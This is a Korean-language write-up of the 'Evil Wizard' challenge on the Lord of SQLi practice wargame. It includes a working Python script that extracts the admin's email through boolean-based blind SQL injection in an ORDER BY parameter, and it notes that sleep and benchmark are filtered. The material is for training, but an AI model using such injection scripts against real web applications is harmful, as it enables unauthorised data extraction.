전 문제인 Hell Fire 문제의 코드와 별다른 차이점이 없는 것 같다.
다만 차이점이라면 첫번째 쿼리문 옆에 주석으로 ‘same with hell_fire? really?’라는 문구가 있었다.

 

정말 Hell Fire와 같을 것 같냐는 문구를 보니, 뭔가 DBMS에서 설정을 한 것으로 보인다.
일단 Hell Fire에서 시도하였던 것들과 비교하여 차이점을 찾아보겠다.

 

Evil Wizard
Hell Fire


Evil Wizard
Hell Fire

다른 방법들도 비교를 해봤지만 별차이가 없는 것 같았다.

 

import requests, string

url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
headers = {'Cookie': 'PHPSESSID=6pcue41grdd15c632prnmpf8hv'}

def pwLength():
    for num in range(1, 50):
        parameter = f"?order=if(id='admin' and LENGTH(email)={num},0,1)"
        res = requests.get(url + parameter, headers=headers)

        if "<th>score</th><tr><td>admin" in res.text:
            print(f'email의 길이 >>> {num}')
            return num

def pwParser(len):
    result = ''
    for num in range(1, len+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)={hex(ord(s))},0,1)"
            res = requests.get(url + parameter, headers=headers)

            if "<th>score</th><tr><td>admin" in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
    print(result)

pwParser(pwLength())

차이가 없어서 바로 파이썬을 이용하여 길이와 email 파싱을 하니 바로 나왔다.

 

그리고 파이썬으로 얻은 값을 서버에 넘기니 문제를 클리어할 수 있었다…..

 

하지만 난 차이점을 모르겠다… 다른 사람의 풀이를 참고해보겠다.

아 찾아보니, 차이점이라곤 필터링 목록에 sleep 함수와 benchmark 함수가 필터링되어 time-based blind SQLI를 못한다는 것이였다.

복사했습니다!